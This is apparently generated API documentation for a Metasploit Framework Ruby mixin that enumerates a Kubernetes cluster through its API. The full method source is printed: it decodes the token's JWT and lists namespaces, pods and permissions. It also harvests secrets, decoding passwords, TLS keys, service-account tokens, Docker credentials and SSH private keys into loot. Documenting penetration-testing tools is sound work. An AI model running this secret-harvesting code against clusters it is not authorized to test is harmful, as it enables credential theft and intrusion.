Module: Msf::Exploit::Remote::HTTP::Kubernetes::Enumeration

Defined in:
lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb

Overview

The mixin for enumerating a Msf::Exploit::Remote::HTTP::Kubernetes API

Instance Attribute Summary collapse

Instance Method Summary collapse

Instance Attribute Details

#kubernetes_client ⇒ Object (readonly, protected)

Returns the value of attribute kubernetes_client.



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# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 103

def kubernetes_client
  @kubernetes_client
end

#output ⇒ Object (readonly, protected)

Returns the value of attribute output.



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# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 103

def output
  @output
end

Instance Method Details

#attempt_enum(resource, &block) ⇒ Object (protected) 



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# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 105

def attempt_enum(resource, &block)
  block.call
rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ApiError => e
  output.print_enum_failure(resource, e)
end

#enum_all ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 15

def enum_all
  token_claims = parse_jwt(api_token)
  output.print_claims(token_claims) if token_claims

  enum_version
  namespace_items = enum_namespaces
  namespaces_name = namespace_items.map { |item| item.dig(:metadata, :name) }

  # If there's no permissions to access namespaces, we can use the current token's namespace,
  # as well as trying some common namespaces
  if namespace_items.empty?
    current_token_namespace = token_claims&.dig('kubernetes.io', 'namespace')
    possible_namespaces = (datastore['NAMESPACE_LIST'].split(',') + [current_token_namespace]).uniq.compact
    namespaces_name += possible_namespaces

    output.print_error("Unable to extract namespaces. Attempting the current token's namespace and common namespaces: #{namespaces_name.join(', ')}")
  end

  # Split the information for each namespace separately
  namespaces_name.each.with_index do |namespace, index|
    print_good("Namespace #{index}: #{namespace}")

    enum_auth(namespace)
    enum_pods(namespace)
    enum_secrets(namespace)

    print_line
  end
end

#enum_auth(namespace) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 69

def enum_auth(namespace)
  attempt_enum(:auth) do
    auth = kubernetes_client.list_auth(namespace)
    output.print_auth(namespace, auth)
  end
end

#enum_namespaces(name: nil) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 54

def enum_namespaces(name: nil)
  output.print_good('Enumerating namespaces')

  namespace_items = []
  attempt_enum(:namespace) do
    if name
      namespace_items = [kubernetes_client.get_namespace(name)]
    else
      namespace_items = kubernetes_client.list_namespaces.fetch(:items, [])
    end
  end
  output.print_namespaces(namespace_items)
  namespace_items
end

#enum_pods(namespace, name: nil) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 76

def enum_pods(namespace, name: nil)
  attempt_enum(:pod) do
    if name
      pods = [kubernetes_client.get_pod(name, namespace)]
    else
      pods = kubernetes_client.list_pods(namespace).fetch(:items, [])
    end

    output.print_pods(namespace, pods)
  end
end

#enum_secrets(namespace, name: nil) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 88

def enum_secrets(namespace, name: nil)
  attempt_enum(:secret) do
    if name
      secrets = [kubernetes_client.get_secret(name, namespace)]
    else
      secrets = kubernetes_client.list_secrets(namespace).fetch(:items, [])
    end

    output.print_secrets(namespace, secrets)
    report_secrets(namespace, secrets)
  end
end

#enum_version ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 45

def enum_version
  version = nil
  attempt_enum(:version) do
    version = kubernetes_client.get_version
    output.print_version(version)
  end
  version
end

#initialize(info = {}) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 5

def initialize(info = {})
  super

  register_options(
    [
      Msf::OptString.new('NAMESPACE_LIST', [false, 'The default namespace list to iterate when the current token does not have the permission to retrieve the available namespaces', 'default,dev,staging,production,kube-public,kube-node-lease,kube-lease,kube-system'])
    ]
  )
end

#parse_jwt(token) ⇒ Object (protected) 



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# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 222

def parse_jwt(token)
  parsed_token = Msf::Exploit::Remote::HTTP::JWT.decode(token)
  parsed_token.payload
rescue ArgumentError
  nil
end

#parse_private_key(data) ⇒ Object (protected) 



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# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 212

def parse_private_key(data)
  passphrase = nil
  ask_passphrase = false

  private_key = Net::SSH::KeyFactory.load_data_private_key(data, passphrase, ask_passphrase)
  private_key
rescue StandardError => _e
  nil
end

#report_secrets(namespace, secrets) ⇒ Object (protected) 



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# File 'lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb', line 111

def report_secrets(namespace, secrets)
  origin = create_credential_origin_service(
    {
      address: datastore['RHOST'],
      port: datastore['RPORT'],
      service_name: 'kubernetes',
      protocol: 'tcp',
      module_fullname: fullname,
      workspace_id: myworkspace_id
    }
  )

  secrets.each do |secret|
    credential_data = {
      origin: origin,
      origin_type: :service,
      module_fullname: fullname,
      workspace_id: myworkspace_id,
      status: Metasploit::Model::Login::Status::UNTRIED
    }

    resource_name = secret.dig(:metadata, :name)
    loot_name_prefix = [
      datastore['RHOST'],
      namespace,
      resource_name,
      secret[:type].gsub(/[a-zA-Z]/, '-').downcase
    ].join('_')

    case secret[:type]
    when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::BasicAuth
      username = Rex::Text.decode_base64(secret.dig(:data, :username))
      password = Rex::Text.decode_base64(secret.dig(:data, :password))

      credential = credential_data.merge(
        {
          username: username,
          private_type: :password,
          private_data: password
        }
      )

      print_good("basic_auth #{resource_name}: #{username}:#{password}")
      create_credential(credential)
    when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::TLSAuth
      tls_cert = Rex::Text.decode_base64(secret.dig(:data, :"tls.crt"))
      tls_key = Rex::Text.decode_base64(secret.dig(:data, :"tls.key"))
      tls_subject = begin
        OpenSSL::X509::Certificate.new(tls_cert).subject
      rescue StandardError
        nil
      end
      loot_name = loot_name_prefix + (tls_subject ? tls_subject.to_a.map { |name, data, _type| "#{name}-#{data}" }.join('-') : '')

      path = store_loot('tls.key', 'text/plain', nil, tls_key, "#{loot_name}.key")
      print_good("tls_key #{resource_name}: #{path}")

      path = store_loot('tls.cert', 'application/x-pem-file', nil, tls_cert, "#{loot_name}.crt")
      print_good("tls_cert #{resource_name}: #{path} (#{tls_subject || 'No Subject'})")
    when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::ServiceAccountToken
      data = secret[:data].clone
      # decode keys to a human readable format that might be useful for users
      %i[namespace token].each do |key|
        data[key] = Rex::Text.decode_base64(data[key])
      end
      loot_name = loot_name_prefix + '.json'
      path = store_loot('kubernetes.token', 'application/json', datastore['RHOST'], JSON.pretty_generate(data), loot_name)
      print_good("service token #{resource_name}: #{path}")
    when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::DockerConfigurationJson
      json = Rex::Text.decode_base64(secret.dig(:data, :".dockerconfigjson"))
      loot_name = loot_name_prefix + '.json'

      path = store_loot('docker.json', 'application/json', nil, json, loot_name)
      print_good("dockerconfig json #{resource_name}: #{path}")
    when Msf::Exploit::Remote::HTTP::Kubernetes::Secret::SSHAuth
      data = Rex::Text.decode_base64(secret.dig(:data, :"ssh-privatekey"))
      loot_name = loot_name_prefix + '.key'
      private_key = parse_private_key(data)

      credential = credential_data.merge(
        {
          private_type: :ssh_key,
          public_data: private_key&.public_key,
          private_data: private_key
        }
      )
      begin
        create_credential(credential)
      rescue StandardError => _e
        vprint_error("Unable to store #{loot_name} as a valid ssh_key pair")
      end

      path = store_loot('id_rsa', 'text/plain', nil, data, loot_name)
      print_good("ssh_key #{resource_name}: #{path}")
    end
  rescue StandardError => e
    elog("Failed parsing secret #{resource_name}", error: e)
    print_error("Failed parsing secret #{resource_name}: #{e.message}")
  end
end